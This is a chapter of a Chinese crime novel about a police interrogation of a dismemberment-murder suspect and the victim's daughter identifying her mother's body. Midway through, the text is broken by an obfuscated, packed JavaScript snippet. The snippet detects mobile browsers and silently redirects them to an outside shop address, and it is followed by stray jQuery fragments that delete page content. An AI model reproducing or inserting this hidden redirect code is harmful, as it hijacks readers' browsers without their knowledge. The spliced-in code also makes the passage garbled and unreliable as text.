听出虞晴语气里的看不起,梁问眯起眼回瞪虞晴,两颊腮帮上的肌肉紧紧绷起。

    偏执型人格。

    虞晴想到公大时学到的知识,呵呵笑出声,“我猜一猜,你不会跟他们说你妈有钱吧?

    啧啧,你这样的人不是最瞧不起女人嘛,就你这样儿的,花女人的钱也敢瞧不起女人,废物!

    我再猜一猜,你恨沈春梅,对不对?她在你10岁的时候离婚,自此面对人渣梁寒的家暴,再也没有一个傻女人护住你,让你免于挨打,对不对?”

    见对方眼神逐渐狠厉,虞晴声音陡然变得严厉起来,“我问你,在你心里,沈春梅是不是该替你挨打?”

    梁问面部肌肉开始扭曲,喉咙里发出嚯嚯嚯的奇怪声音,半晌,他低吼道,“她不是我妈吗,为什么不?”

    副审位置上,孟阳忍不住怒吼,“你也说了,她是你妈,你这个畜生!”

    听到声音,梁问微微偏过头,双眼死死钉在孟阳的脸上,呵呵笑,“警察同志,你不觉得你的话很可笑嘛。

    你说沈春梅是我妈,那么在你心里,母亲是很伟大的,既然伟大,她替我挨打不是天经地义?”

    “你!”

    “我怎么样?”梁问身体前倾,手镣脚镣发出叮呤咣啷的声音,在杂乱声中,他扯起一边嘴角,挑衅地望向孟阳。

    对方“气愤但又拿他无可奈何”的样子,仿佛是黑暗中的养分,让梁问这个常年生活在黑暗中的人渣愈发兴奋。

    虞晴示意孟阳别激动,那样只会让梁问称心,她冷静道,“这么说,你承认杀了沈春梅?”

    “我好像没这么说,警察同志。”

    虞晴扯起一边嘴角,“是吗?梁问,你以为不承认警方就没办法定罪?就算没读过大学,电视剧总看过吧?

    如今DNA技术,就是一根头发丝,都能确定是谁遗落在现场的。

    你花了一天时间分尸,猜猜我们能不能在现场找到你的DNA?

    另外分尸很累吧?说不定还会受伤,地面缝隙、墙壁缝隙说不定还有血液残留,只要有,我们就有办法拿来做鉴定。”

    本来还紧张的梁问,听到最后竟然身体向后一靠,态度愈发嚣张,他摊手看向虞晴,“那你们去找啊,没有证据,我什么都不会说。”

    虞晴眯眼,刚才的话里有漏洞?

    警方目前没找到杀人分尸现场,她的话自然是诈梁问的,可哪里有问题?

    心里有疑问,面上虞晴依然强势,她压低声音,“梁问,你逃不了的,法网恢恢疏而不漏,我们一定会定你的罪,你好好想想。

    案子从提交检察院到法院最终判刑,中间至少有一年,好好想想我的话。”

    说着虞晴起身离开审讯室,迈步来到一旁的监控室,打开刚才的审讯录像开始回顾。

    梁问为什么突然态度180度大转弯?明明快问出来了,问题出在哪儿?

    反复观看了七八遍审讯录像,没一个人发现问题,孟阳小声嘀咕,“没什么问题啊,师父,梁问是怎么猜出来咱们在诈他的?”

    监控室陷入沉默,半晌孟阳又小声嘀咕,“会不会不是梁问杀的?梁寒在说谎也说不定......”

    郑源摇头,梁寒是他抓的也是他审的,他最有发言权,“不像,梁寒更符合家暴男的侧写。

    在家称王称霸,在外窝囊不敢反抗权威,应该没胆子杀人分尸。

    而且我去抓梁寒和梁母的时候,梁寒一被吓唬什么都招了,心理素质不像杀人犯。”

    虞晴皱眉,她也觉得是梁问干的,但刚才的审问哪里有问题?

    她反复观看刚才的审讯记录,在说到“地面缝隙、墙壁缝隙说不定还有血液残留”这一段时,虞晴猛地按下暂停键。

    快进后又重新播放,如此往复六七次,她突然扭头问一起观看录像的沈峰。

    “师父,这里,我说这句话时,梁问有一个微微抬头看我的动作,其他时候都没。”

    沈峰点头,“确实,这句话有什么问题?”

    “是啊,有什么问题?”虞晴呢喃,“血液残留,缝隙......”

    似是有一道电流划过,虞晴突然道,“会不会分尸以及清理现场的不是他,或者他还没来得及清理现场,就被赌场的人逮住了?

    他从我的话里听出漏洞,知道警方没有找到杀人分尸现场,所以才不怕?”

    “帮手的话,只能是梁问的父亲梁寒以及他奶奶了。”见虞晴点头,沈峰按灭烟头,“梁寒问过了,那老太太呢,正好问一问。”

    正待起身去梁老太审讯室,门口内勤的同事通知,死者邵玲的女儿邵芸到了,执意要认尸。

    接到分局的电话后,邵芸当场晕了过去,醒来后第一时间买了回来的机票,一同来的还有邵芸的大学辅导员。

    此时邵芸脸色惨白,由辅导员扶着才能勉强站立,见到虞晴第一句话就要认尸,声音嘶哑却异常坚定,“我想看看是不是我妈。”

    一屋子警察集体沉默。

    邵玲被残忍分尸,母女连心,最好不让邵芸看,任何有良知的女儿都见不得母亲那样。

    沉默中,虞晴整理着拒绝的措辞,没想到邵芸异常执着,她流着泪道,“我妈......不管我妈变成什么样,我都要见她最后一面。

    你们让我见吧,不然我睡不着。”

    辅导员为难地看向虞晴,“警察同志,自从接到你们的电话,邵芸已经2天没合眼了。你们......”

    “我去跟法医沟通。”既然亲人都这么说了,虞晴也不好再拦。

    给孟阳一个眼神,让他去通知乔兰做好认尸流程的准备工作,虞晴小心地站到邵芸旁边,时刻关注对方动静。

    同时心里暗暗发愁,邵玲那样的情况,真能给邵芸看,看了不得有一辈子心理阴影?

    寻常二十分钟就能走完的认尸流程,这次花了一个半小时,乔兰才让助理过来通知虞晴可以进法医室了。

    一旁沈峰已经闷了三根烟,此时在烟雾缭绕中起身,声音低沉,“走,一起去。”

    众人默不作声地跟在身后,陪着邵芸走向法医间。

    邵玲的尸体上盖着白布,还没看到脸,邵芸的身体就止不住颤抖,眼刷一下红了。

    亲人之间的熟悉程度,那是隔着被子都能有感知的。

    待乔兰掀开白布露出头颅,邵芸猛地睁大眼,踉跄着退后一步,站立不稳地坐在地上,孩子一样嚎哭起来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738506|205862||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    显然,尽管尸体已严重腐败,邵芸还是认出了邵玲。

    由于邵芸情绪过于激动,不符合询问条件,认尸结束后只能先将其送到休息室,等冷静下来再进行问话。

    经过长长的走廊,到休息室时,邵芸的情绪已经没那么激动了,虽依然全身颤抖,眼神中却多了几分为母亲报仇雪恨的决心。

    “我妈......我妈是为了我才不再婚的。小时候我不知道为什么我没有爸爸,问妈妈她又不说,那时候不懂事儿,甚至......等长大了才明白妈妈的辛苦。”

    邵芸抹抹眼泪,陷入回忆道,“我妈这个人热心,听到别人议论谁家打老婆,就会过去看,甚至会拎着刀上门帮女人出气。

    很多人说我妈多管闲事儿,有些被家暴的女人还会反过来咬我妈,说我妈欺负她们男人,让我妈赔钱。

    我妈总是不计较,说她明白那些女人的苦,下次遇到了还会帮忙。

    春梅阿姨是第一个在我妈的帮助下离婚的,之后是温然阿姨,我妈性子泼辣,会不会是那些男人......”

    说着她咬牙切齿道,“警官,你们查梁寒和梅渡,那俩混蛋离婚的时候说要教训我妈,肯定是他俩!

    还有其他被我妈教训过的男人,他们都记恨我妈,恨不得我妈死......”她又说了几个人名,都是有过家暴恶习的混蛋。

    虞晴将邵芸说的名字一一记下,让内勤女警注意邵芸的情绪,这才退出休息室。

    从休息室出来后,重案队众人的心情都不好,虞晴平复了好一会儿,才推门进入梁老太审讯室。

    自坐到审讯室的椅子上,梁老太一改在家时的泼妇形象,神经质地前后有节奏地晃动身体,嘴里念念有词。

    头顶的白炽灯并不明亮,老妇的脸随着晃动若隐若现。

    听到门被推开的声音,她抬起头,看到一身警服的虞晴时,眼睛死死钉在对方身上,蔑视,不甘,阴毒不加掩饰,歘欻欻,箭一般朝虞晴射去。

    梁老太恨她?

    不,坐下时虞晴突然意识到,老妇恨的不是她,或者说不只是她,而是和她一类的女人。

    一类“不守妇道”,明明是女人,却出来招摇过市,不在家伺候男人和公婆的女人!

    那么,仇恨邵玲和沈春梅的就不只是男人了,还有如梁家老妇这样,一辈子活在男人的阴影下,已然彻底被同化的女人。

    这件杀人分尸案中,有没有梁老太的身影?她又扮演了什么角色?

    不同于在麻将馆内刻意伪装出的娇媚,此时一身警服,虞晴连眉眼都凌厉起来,本来线条柔和的脸在警服立整的衣领衬托下,竟有咄咄逼人之势。

    审讯前,虞晴照例一言不发地观察梁老太。

    年近七十,身高不足一米五,体重最多八十斤,在有两个壮年男人的梁家无疑处于最底层。

    儿子梁寒是个家暴的人渣,梁问又有杀人嫌疑,家暴打人就更别提了,如果因为没有证据将梁问放出去,梁老太......

    是希望继续和梁问生活在一起,还是让梁问坐牢?

    对面,在虞晴的注视下,梁老太脸皱成一团,状似痛苦地捂着心口,一副随时背过气去的架势。